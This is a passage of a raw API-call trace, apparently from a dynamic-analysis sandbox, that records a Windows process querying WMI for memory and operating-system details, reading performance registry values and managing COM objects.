SysStringByteLen (bstr="1395304") returned 0xe [0267.847] SysStringByteLen (bstr="1395304") returned 0xe [0267.847] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0267.847] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0267.847] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0267.848] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fc8d0*=0, plFlavor=0x28fc8d4*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x28fc8d0*=21, plFlavor=0x28fc8d4*=0) returned 0x0 [0267.848] SysStringByteLen (bstr="2096620") returned 0xe [0267.848] SysStringByteLen (bstr="2096620") returned 0xe [0267.848] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fc8d0*=21, plFlavor=0x28fc8d4*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x28fc8d0*=21, plFlavor=0x28fc8d4*=0) returned 0x0 [0267.848] SysStringByteLen (bstr="2096620") returned 0xe [0267.848] SysStringByteLen (bstr="2096620") returned 0xe [0267.849] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0267.849] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x1 [0267.849] IUnknown:Release (This=0x1d35c4e0) returned 0x0 [0269.982] GetTickCount64 () returned 0xaba56a [0269.984] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0269.987] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2a14018, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2a14018*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0269.991] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0269.993] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2a25430, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2a25430*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0269.998] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0269.998] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0269.998] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0269.999] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0269.999] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0269.999] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0269.999] IUnknown:Release (This=0x4b0108) returned 0x1 [0270.001] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d497420) returned 0x0 [0270.002] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497420, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0270.002] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d497420, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d497100) returned 0x0 [0270.002] WbemLocator:IUnknown:Release (This=0x1d497420) returned 0x0 [0270.002] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d497100) returned 0x0 [0270.002] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0270.002] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0270.002] WbemLocator:IUnknown:AddRef (This=0x1d497100) returned 0x3 [0270.002] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0270.002] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0270.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0270.003] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0270.003] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0270.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0270.003] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x2 [0270.003] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x1 [0270.003] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0270.003] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0270.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d497100) returned 0x0 [0270.003] WbemLocator:IUnknown:AddRef (This=0x1d497100) returned 0x3 [0270.003] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x2 [0270.003] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0270.004] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0270.004] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0270.004] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d497160) returned 0x0 [0270.004] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d497160, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d476070) returned 0x0 [0270.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1d476070, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b350cc0) returned 0x0 [0270.977] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b350cc0, pProxy=0x1d476070, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0270.978] WbemLocator:IUnknown:Release (This=0x1b350cc0) returned 0x1 [0270.978] WbemLocator:IUnknown:QueryInterface (in: This=0x1d476070, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b350d08) returned 0x0 [0270.978] WbemLocator:IUnknown:QueryInterface (in: This=0x1d476070, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b350cc0) returned 0x0 [0270.978] WbemLocator:IClientSecurity:SetBlanket (This=0x1b350cc0, pProxy=0x1d476070, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0270.978] WbemLocator:IUnknown:Release (This=0x1b350cc0) returned 0x2 [0270.978] WbemLocator:IUnknown:Release (This=0x1b350d08) returned 0x1 [0270.978] CoTaskMemFree (pv=0x1d4716e0) [0270.978] WbemLocator:IUnknown:Release (This=0x1d497160) returned 0x0 [0270.979] WbemLocator:IUnknown:QueryInterface (in: This=0x1d476070, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b350d08) returned 0x0 [0270.979] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350d08, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0271.070] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350d08, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0271.163] WbemLocator:IUnknown:QueryInterface (in: This=0x1d476070, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0271.273] WbemLocator:IUnknown:AddRef (This=0x1b350d08) returned 0x3 [0271.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350d08, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0271.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350d08, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0271.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350d08, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b350be8) returned 0x0 [0271.274] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350be8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0271.274] WbemLocator:IUnknown:Release (This=0x1b350be8) returned 0x3 [0271.274] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0271.274] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0271.274] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350d08, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b350cd0) returned 0x0 [0271.274] WbemLocator:IRpcOptions:Query (in: This=0x1b350cd0, pPrx=0x1b350d08, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0271.274] WbemLocator:IUnknown:Release (This=0x1b350cd0) returned 0x3 [0271.274] WbemLocator:IUnknown:Release (This=0x1b350d08) returned 0x2 [0271.274] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0271.274] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0271.274] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350d08, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d476070) returned 0x0 [0271.275] WbemLocator:IUnknown:AddRef (This=0x1d476070) returned 0x4 [0271.275] WbemLocator:IUnknown:Release (This=0x1d476070) returned 0x3 [0271.275] WbemLocator:IUnknown:Release (This=0x1d476070) returned 0x2 [0271.275] SysStringLen (param_1=0x0) returned 0x0 [0271.275] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0271.275] WbemLocator:IUnknown:AddRef (This=0x1b350d08) returned 0x3 [0271.275] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350d08, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b350d08) returned 0x0 [0271.275] WbemLocator:IUnknown:Release (This=0x1b350d08) returned 0x3 [0271.275] WbemLocator:IUnknown:Release (This=0x1b350d08) returned 0x2 [0271.276] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0271.276] WbemLocator:IUnknown:AddRef (This=0x1d476070) returned 0x3 [0271.276] IWbemServices:ExecQuery (in: This=0x1d476070, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35bbb0) returned 0x0 [0271.398] IUnknown:QueryInterface (in: This=0x1d35bbb0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35bbb8) returned 0x0 [0271.398] IClientSecurity:QueryBlanket (in: This=0x1d35bbb8, pProxy=0x1d35bbb0, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0271.398] IUnknown:Release (This=0x1d35bbb8) returned 0x1 [0271.398] IUnknown:QueryInterface (in: This=0x1d35bbb0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b350b68) returned 0x0 [0271.398] IUnknown:QueryInterface (in: This=0x1d35bbb0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35bbb8) returned 0x0 [0271.398] IClientSecurity:SetBlanket (This=0x1d35bbb8, pProxy=0x1d35bbb0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0271.622] IUnknown:Release (This=0x1d35bbb8) returned 0x2 [0271.622] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0271.623] CoTaskMemFree (pv=0x1d471ec0) [0271.623] IUnknown:QueryInterface (in: This=0x1d35bbb0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b350b68) returned 0x0 [0271.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0271.726] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0271.835] IUnknown:QueryInterface (in: This=0x1d35bbb0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0271.977] WbemLocator:IUnknown:AddRef (This=0x1b350b68) returned 0x3 [0271.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0271.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0271.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b350a48) returned 0x0 [0271.977] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350a48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0271.977] WbemLocator:IUnknown:Release (This=0x1b350a48) returned 0x3 [0271.977] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0271.978] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0271.978] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b350b30) returned 0x0 [0271.978] WbemLocator:IRpcOptions:Query (in: This=0x1b350b30, pPrx=0x1b350b68, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0271.978] WbemLocator:IUnknown:Release (This=0x1b350b30) returned 0x3 [0271.986] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x2 [0271.986] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0271.986] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0271.986] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35bbb0) returned 0x0 [0271.986] IUnknown:AddRef (This=0x1d35bbb0) returned 0x4 [0271.987] IUnknown:Release (This=0x1d35bbb0) returned 0x3 [0271.987] IUnknown:Release (This=0x1d35bbb0) returned 0x2 [0271.987] WbemLocator:IUnknown:Release (This=0x1d476070) returned 0x2 [0271.987] SysStringLen (param_1=0x0) returned 0x0 [0271.987] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: 